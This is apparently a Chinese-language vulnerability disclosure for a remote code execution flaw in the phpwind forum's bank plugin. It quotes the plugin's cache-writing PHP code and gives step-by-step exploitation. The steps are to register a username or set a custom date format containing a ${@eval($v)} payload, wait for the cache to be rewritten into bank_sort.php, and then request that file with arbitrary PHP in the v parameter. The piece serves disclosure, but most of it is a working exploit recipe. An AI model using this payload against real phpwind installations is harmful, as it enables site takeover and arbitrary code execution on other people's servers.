### 简要描述:
07年那阵挖掘的漏洞,正好这次三个白帽搞了个挑战,借这个机会曝光吧,外面估计也有部分人知道这个吧:)
### 详细说明:
hack/bank/index.php
```
$_DDESPOSTDB=array();
$query=$db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC LIMIT $bk_num");
while($deposit=$db->fetch_array($query)){
if($deposit['ddeposit']){
$deposit['dstartdate']=get_date($deposit['dstartdate']);
$_DDESPOSTDB[]=array($deposit['uid'],$deposit['username'],$deposit['ddeposit'],$deposit['dstartdate']);
}
}
$wirtedb=savearray('_DESPOSTDB',$_DESPOSTDB);
$wirtedb.="\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);
writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');
}
...
function savearray($name,$array){
$arraydb="\$$name=array(\r\n\t\t";
foreach($array as $value1){
$arraydb.='array(';
foreach($value1 as $value2){
$arraydb.='"'.addslashes($value2).'",';
}
$arraydb.="),\r\n\t\t";
}
$arraydb.=");\r\n";
return $arraydb;
}
```
挺明显的一个漏洞,里面可以利用的点是注册的用户名和日期格式,不过这两个地方都有字数限制,真正要利用起来的话需要点技巧,废话不多说了,直接贴上当时写的一个简单的利用方式:
```
phpwind所有版本远程代码执行漏洞
i)
注册新用户,用户名为${@eval($v)},发表新帖或其他方式获得金钱后,使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:
eval($v)
利用方法[PW6以上版本需要register_globals=on]:
**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();
**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();
ii)
编辑用户资料,在[日期格式][自定义]处填写${@\ev\a\l($v)},使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:
eval($v)
利用方法[PW6以上版本需要register_globals=on]:
**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();
**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();
```
成文较早,并且关于PW6的说明是后加入的,因为没怎么跟PW5后的代码,当时的描述可能不准确,后来听某人跟我反馈说PW6里貌似有可直接利用的变量,从而绕过全局的限制,我就不再验证了,有兴趣的自行跟。
### 漏洞证明:
暂无评论